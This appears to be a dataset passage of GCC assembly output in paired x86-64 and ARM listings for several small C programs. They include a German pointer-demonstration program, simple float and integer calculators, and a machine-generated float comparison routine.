mov rax, QWORD PTR stdout[rip]
mov esi, 0
mov rdi, rax
call setbuf@PLT
mov DWORD PTR -20[rbp], 5
mov edx, DWORD PTR -20[rbp]
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR [rax]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC2[rip]
call puts@PLT
lea rax, -20[rbp]
mov QWORD PTR -16[rbp], rax
mov edx, DWORD PTR -20[rbp]
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR [rax]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -16[rbp]
mov rsi, rax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC6[rip]
call puts@PLT
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 10
lea rdi, .LC7[rip]
call puts@PLT
mov edx, DWORD PTR -20[rbp]
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC8[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR [rax]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -16[rbp]
mov rsi, rax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC9[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "264891.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Adresse x=%p Wert x=%d\012\000"
.align 2
.LC1:
.ascii "Adresse *y=%p, Wert *y=%d (Unsinn)\012\000"
.align 2
.LC2:
.ascii "\012y=&x;\012\000"
.align 2
.LC3:
.ascii "Adresse *y=%p, Wert *y=%d\012\000"
.align 2
.LC4:
.ascii "\012Adresse, auf die y zeigt, ist %p\012\000"
.align 2
.LC5:
.ascii "und das ist die Adresse von x = %p\012\000"
.align 2
.LC6:
.ascii "\012ACHTUNG!!!\012\000"
.align 2
.LC7:
.ascii "*y=10\012\000"
.align 2
.LC8:
.ascii "Adresse x=%p, Wert x=%d\012\000"
.align 2
.LC9:
.ascii "weiterhin die Adresse von x (%p)\012\000"
.align 2
.LC10:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L4+4
ldr r3, [r3]
mov r1, #0
mov r0, r3
bl setbuf
mov r3, #5
str r3, [fp, #-16]
ldr r2, [fp, #-16]
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+8
bl printf
ldr r3, [fp, #-12]
ldr r2, [r3]
sub r3, fp, #12
mov r1, r3
ldr r0, .L4+12
bl printf
ldr r0, .L4+16
bl puts
sub r3, fp, #16
str r3, [fp, #-12]
ldr r2, [fp, #-16]
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+8
bl printf
ldr r3, [fp, #-12]
ldr r2, [r3]
sub r3, fp, #12
mov r1, r3
ldr r0, .L4+20
bl printf
ldr r3, [fp, #-12]
mov r1, r3
ldr r0, .L4+24
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+28
bl printf
ldr r0, .L4+32
bl puts
ldr r3, [fp, #-12]
mov r2, #10
str r2, [r3]
ldr r0, .L4+36
bl puts
ldr r2, [fp, #-16]
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+40
bl printf
ldr r3, [fp, #-12]
ldr r2, [r3]
sub r3, fp, #12
mov r1, r3
ldr r0, .L4+20
bl printf
ldr r3, [fp, #-12]
mov r1, r3
ldr r0, .L4+24
bl printf
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+44
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC10
.word stdout
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.word .LC9
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "742402.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%f"
.LC2:
.string "%.2f"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rax, -24[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm0, DWORD PTR -24[rbp]
movss xmm1, DWORD PTR .LC1[rip]
divss xmm0, xmm1
movss DWORD PTR -16[rbp], xmm0
movss xmm1, DWORD PTR -20[rbp]
movss xmm0, DWORD PTR -16[rbp]
movaps xmm2, xmm0
mulss xmm2, xmm0
divss xmm1, xmm2
movaps xmm0, xmm1
movss DWORD PTR -12[rbp], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, DWORD PTR -12[rbp]
movq rax, xmm3
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 4
.LC1:
.long 1120403456
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "742402.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%f\000"
.global __aeabi_fdiv
.global __aeabi_fmul
.global __aeabi_f2d
.align 2
.LC1:
.ascii "%.2f\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #28
mov r1, r3
ldr r0, .L4+4
bl __isoc99_scanf
sub r3, fp, #32
mov r1, r3
ldr r0, .L4+4
bl __isoc99_scanf
ldr r3, [fp, #-32] @ float
ldr r1, .L4+8
mov r0, r3
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-24] @ float
ldr r4, [fp, #-28] @ float
ldr r1, [fp, #-24] @ float
ldr r0, [fp, #-24] @ float
bl __aeabi_fmul
mov r3, r0
mov r1, r3
mov r0, r4
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-20] @ float
ldr r0, [fp, #-20] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+12
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L5:
.align 2
.L4:
.word .LC2
.word .LC0
.word 1120403456
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "710519.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "enter number of rows"
.LC1:
.string "%d"
.LC4:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
call puts@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR -16[rbp], 1
jmp .L2
.L3:
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -16[rbp]
mov rax, QWORD PTR .LC2[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movq rax, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
movq xmm1, rax
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, DWORD PTR -16[rbp]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -12[rbp]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -16[rbp], 1
.L2:
mov eax, DWORD PTR -20[rbp]
cmp DWORD PTR -16[rbp], eax
jle .L3
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L5
call __stack_chk_fail@PLT
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC2:
.long 0
.long 1076101120
.align 8
.LC3:
.long 0
.long 1075970048
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "710519.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "enter number of rows\000"
.align 2
.LC1:
.ascii "%d\000"
.global __aeabi_i2d
.global __aeabi_ddiv
.global __aeabi_dmul
.global __aeabi_d2iz
.align 2
.LC2:
.ascii "%d\012\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #16
ldr r3, .L6
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r0, .L6+4
bl puts
sub r3, fp, #28
mov r1, r3
ldr r0, .L6+8
bl __isoc99_scanf
mov r3, #1
str r3, [fp, #-24]
b .L2
.L3:
ldr r0, [fp, #-24]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L6+12
bl pow
mov r2, #0
ldr r3, .L6+16
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-24]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-20]
ldr r1, [fp, #-20]
ldr r0, .L6+20
bl printf
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L2:
ldr r3, [fp, #-28]
ldr r2, [fp, #-24]
cmp r2, r3
ble .L3
mov r3, #0
ldr r2, .L6
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L5
bl __stack_chk_fail
.L5:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L7:
.align 2
.L6:
.word .LC3
.word .LC0
.word .LC1
.word 1076101120
.word 1075970048
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "802133.c"
.intel_syntax noprefix
.text
.globl x_0
.bss
.align 4
.type x_0, @object
.size x_0, 4
x_0:
.zero 4
.globl x_1
.align 4
.type x_1, @object
.size x_1, 4
x_1:
.zero 4
.globl x_2
.align 4
.type x_2, @object
.size x_2, 4
x_2:
.zero 4
.globl x_3
.align 4
.type x_3, @object
.size x_3, 4
x_3:
.zero 4
.globl x_4
.align 4
.type x_4, @object
.size x_4, 4
x_4:
.zero 4
.globl x_5
.align 4
.type x_5, @object
.size x_5, 4
x_5:
.zero 4
.globl x_6
.align 4
.type x_6, @object
.size x_6, 4
x_6:
.zero 4
.globl x_7
.align 4
.type x_7, @object
.size x_7, 4
x_7:
.zero 4
.globl x_8
.align 4
.type x_8, @object
.size x_8, 4
x_8:
.zero 4
.globl x_9
.align 4
.type x_9, @object
.size x_9, 4
x_9:
.zero 4
.globl x_10
.align 4
.type x_10, @object
.size x_10, 4
x_10:
.zero 4
.globl x_11
.align 4
.type x_11, @object
.size x_11, 4
x_11:
.zero 4
.globl x_12
.align 4
.type x_12, @object
.size x_12, 4
x_12:
.zero 4
.globl x_13
.align 4
.type x_13, @object
.size x_13, 4
x_13:
.zero 4
.globl x_14
.align 4
.type x_14, @object
.size x_14, 4
x_14:
.zero 4
.globl x_15
.align 4
.type x_15, @object
.size x_15, 4
x_15:
.zero 4
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
.L1010:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1347
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L4
.L1347:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
.L4:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1348
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L7
.L1348:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
.L7:
comisd xmm0, xmm1
jbe .L1349
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1350
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L13
.L1350:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
jmp .L13
.L1349:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1351
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L13
.L1351:
movss xmm0, DWORD PTR x_6[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
.L13:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1352
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L19
.L1352:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
.L19:
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
movss xmm3, DWORD PTR x_14[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm3
movsd xmm3, QWORD PTR .LC7[rip]
addsd xmm3, xmm4
comisd xmm2, xmm3
jbe .L1353
movss xmm2, DWORD PTR x_12[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC6[rip]
addsd xmm2, xmm3
jmp .L22
.L1353:
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC7[rip]
addsd xmm2, xmm3
.L22:
comisd xmm1, xmm2
jbe .L1354
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_9[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC5[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1355
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC4[rip]
addsd xmm1, xmm2
jmp .L28
.L1355:
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
jmp .L28
.L1354:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC7[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1356
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L28
.L1356:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
.L28:
comisd xmm0, xmm1
jbe .L1357
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1358
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
jmp .L36
.L1358:
movss xmm0, DWORD PTR x_2[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC1[rip]
addsd xmm0, xmm1
.L36:
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_6[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC3[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1359
movss xmm1, DWORD PTR x_3[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC2[rip]
addsd xmm1, xmm2
jmp .L39
.L1359:
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
.L39:
comisd xmm0, xmm1
jbe .L1360
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC0[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC1[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1361
movss xmm1, DWORD PTR x_1[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
jmp .L49
.L1361:
movss xmm1, DWORD PTR x_2[rip]
movss xmm0, DWORD PTR .LC9[rip]
addss xmm0, xmm1
jmp .L49
.L1360:
movss xmm0, DWORD PTR x_3[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_6[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1362
movss xmm1, DWORD PTR x_3[rip]
movss xmm0, DWORD PTR .LC10[rip]
addss xmm0, xmm1
jmp .L49
.L1362:
movss xmm1, DWORD PTR x_6[rip]
movss xmm0, DWORD PTR .LC11[rip]
addss xmm0, xmm1
jmp .L49
.L1357:
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1363
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
jmp .L52
.L1363:
movss xmm0, DWORD PTR x_9[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC5[rip]
addsd xmm0, xmm1
.L52:
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_14[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC7[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1364
movss xmm1, DWORD PTR x_12[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC6[rip]
addsd xmm1, xmm2
jmp .L55
.L1364:
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
.L55:
comisd xmm0, xmm1
jbe .L1365
movss xmm0, DWORD PTR x_8[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC4[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_9[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC5[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1366
movss xmm1, DWORD PTR x_8[rip]
movss xmm0, DWORD PTR .LC12[rip]
addss xmm0, xmm1
jmp .L49
.L1366:
movss xmm1, DWORD PTR x_9[rip]
movss xmm0, DWORD PTR .LC13[rip]
addss xmm0, xmm1
jmp .L49
.L1365:
movss xmm0, DWORD PTR x_12[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_14[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC7[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1367
movss xmm1, DWORD PTR x_12[rip]
movss xmm0, DWORD PTR .LC14[rip]
addss xmm0, xmm1
jmp .L49
.L1367:
movss xmm1, DWORD PTR x_14[rip]
movss xmm0, DWORD PTR .LC15[rip]
addss xmm0, xmm1
.L49:
movss DWORD PTR -64[rbp], xmm0
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
comisd xmm0, xmm1
jbe .L1368
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
jmp .L67
.L1368:
movss xmm0, DWORD PTR x_1[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC3[rip]
addsd xmm0, xmm1
.L67:
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
movss xmm2, DWORD PTR x_8[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm2
movsd xmm2, QWORD PTR .LC16[rip]
addsd xmm2, xmm3
comisd xmm1, xmm2
jbe .L1369
movss xmm1, DWORD PTR x_2[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC3[rip]
addsd xmm1, xmm2
jmp .L70
.L1369:
movss xmm1, DWORD PTR x_8[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm1
movsd xmm1, QWORD PTR .LC16[rip]
addsd xmm1, xmm2
.L70:
comisd xmm0, xmm1
jbe .L1370
movss xmm0, DWORD PTR x_0[rip]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movss xmm1, DWORD PTR x_1[rip]
